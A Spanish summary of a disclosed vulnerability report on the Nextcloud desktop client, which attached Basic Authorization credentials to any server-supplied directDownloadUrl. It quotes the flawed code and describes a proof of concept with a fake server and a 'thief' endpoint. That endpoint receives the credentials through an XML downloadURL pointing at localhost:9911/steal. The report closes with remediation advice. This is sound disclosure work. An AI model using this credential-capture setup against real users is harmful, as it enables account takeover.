Reports
MEDIA[EXPOSICIÓN DE DATOS]#3400143

Un servidor Nextcloud malicioso podía robar las credenciales del cliente de escritorio vía directDownloadUrl

El cliente de escritorio de Nextcloud enviaba la cabecera Authorization (usuario y contraseña en Base64) a cualquier URL de descarga que indicara el servidor, sin comprobar el origen, permitiendo a un servidor malicioso capturar esas credenciales.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El cliente de escritorio de Nextcloud permite que el servidor indique una URL de descarga directa para un fichero (directDownloadUrl, que llega en la propiedad oc:downloadURL de las respuestas WebDAV). El problema es que, al seguir esa URL, el cliente adjuntaba automáticamente la cabecera Authorization con el usuario y la contraseña codificados en Base64 sin comprobar antes a qué dominio apuntaba.

Como la URL la elige el servidor, un servidor Nextcloud malicioso (o uno comprometido) podía apuntar directDownloadUrl a un host controlado por el atacante y recibir en esa petición las credenciales del usuario.

La causa raíz tiene dos piezas que se juntan:

  • Al construir la descarga directa no se marcaba la petición con DontAddCredentialsAttribute.
  • El gestor de credenciales añade la cabecera Authorization a toda petición que no lleve esa marca, sin mirar el origen de destino.

El código vulnerable está en src/libsync/propagatedownload.cpp (rama de descarga directa):

} else {
    // We were provided a direct URL, use that one
    qCInfo(lcPropagateDownload) << "directDownloadUrl given for " << _item->_file << _item->_directDownloadUrl;

    if (!_item->_directDownloadCookies.isEmpty()) {
        headers["Cookie"] = _item->_directDownloadCookies.toUtf8();
    }

    QUrl url = QUrl::fromUserInput(_item->_directDownloadUrl);
    _job = new GETFileJob(propagator()->account(),   // ← pasa el objeto de cuenta
        url,
        &_tmpFile, headers, expectedEtagForResume, _resumeStart, this);
       //  Falta: req.setAttribute(HttpCredentials::DontAddCredentialsAttribute, true);
}

La inyección automática de la cabecera ocurre en src/libsync/creds/httpcredentials.cpp:

QNetworkReply *createRequest(Operation op, const QNetworkRequest &request, QIODevice *outgoingData) override
{
    QNetworkRequest req(request);
    if (!req.attribute(HttpCredentials::DontAddCredentialsAttribute).toBool()) {
        // ← Si DontAddCredentialsAttribute NO está puesto, se añaden las credenciales
        if (_cred && !_cred->password().isEmpty()) {
            QByteArray credHash = QByteArray(_cred->user().toUtf8() + ":" + _cred->password().toUtf8()).toBase64();
            req.setRawHeader("Authorization", "Basic " + credHash);  // ← inyectada automáticamente
        }
    }
    return AccessManager::createRequest(op, req, outgoingData);
}

No hay ninguna comprobación de que la URL de descarga sea el mismo origen que el servidor, un dominio de confianza o un host externo: la cabecera va igual a todos.

Pasos de reproducción

La prueba de concepto monta dos servidores locales sencillos y añade una cuenta en el cliente de escritorio apuntando al primero:

  1. Servidor "ladrón" (puerto 9911): un pequeño servidor HTTP que, por cada petición que recibe, lee la cabecera Authorization y descodifica el Base64 para mostrar las credenciales capturadas. Es el host "externo" al que apuntará la URL de descarga.
  1. Servidor Nextcloud falso (puerto 8811): responde a status.php, a las capabilities y al flujo de Login Flow v2 como un Nextcloud real, de modo que el cliente acepte conectarse y obtenga una contraseña de aplicación. La clave está en la respuesta PROPFIND del listado de ficheros, donde devuelve un documento cuya URL de descarga directa apunta al servidor ladrón:

``xml <oc:downloadURL>http://localhost:9911/steal</oc:downloadURL> ``

  1. En el cliente de escritorio de Nextcloud: añadir cuenta → iniciar sesión contra http://localhost:8811, completar el login en el navegador con unas credenciales de prueba y conectar una carpeta local para que sincronice.
  1. Al intentar descargar el documento, el cliente sigue el directDownloadUrl hacia el host del atacante y le envía la cabecera Authorization. En el servidor ladrón aparece la petición con las credenciales:

``text [GET] /steal [SUCCESS] Stolen User Credentials: [REDACTADO]:[REDACTADO] (Raw: Basic [REDACTADO]) ``

Impacto

El atacante recibe el usuario y la contraseña (en la práctica, la contraseña de aplicación con la que el cliente se autentica) en texto claro tras descodificar el Base64. Con esas credenciales puede acceder a la cuenta de la víctima y a todo lo asociado a ella: ficheros personales, documentos, contactos, calendarios y recursos compartidos.

El vector requiere que la víctima conecte su cliente a un servidor controlado o comprometido por el atacante, pero basta una petición de descarga para filtrar las credenciales. El programa clasificó la debilidad como Insufficiently Protected Credentials y la severidad como media, y pagó recompensa (importe no público).

Remediación

La corrección consiste en no enviar las credenciales a destinos de descarga que no sean de confianza: marcar la petición de descarga directa con DontAddCredentialsAttribute cuando la URL no coincide con el origen del propio servidor, de forma que el gestor de credenciales no inyecte la cabecera Authorization hacia hosts externos.

Qué aprender de este caso

  • Cuando un cliente deja que el servidor le indique una URL a la que ir (directDownloadUrl, redirecciones, callbacks, URLs de CDN), revisa si las credenciales de la sesión viajan automáticamente a ese destino: el punto a auditar es el interceptor que añade la cabecera Authorization/Cookie a toda petición sin mirar el host.
  • Las credenciales de autenticación básica deben ir solo al mismo origen. Antes de adjuntarlas, compara el host (y esquema/puerto) del destino con el del servidor y, si difieren, omite la cabecera; en Qt eso es precisamente el DontAddCredentialsAttribute que aquí faltaba.
  • Una pista de diseño a vigilar: la existencia de un campo aparte para las cookies de la descarga (directDownloadCookies) sugería que las URLs externas debían autenticarse por separado; cuando el código ofrece un canal de credenciales específico para un caso pero el genérico sigue filtrando las de la sesión, suele haber ahí una fuga.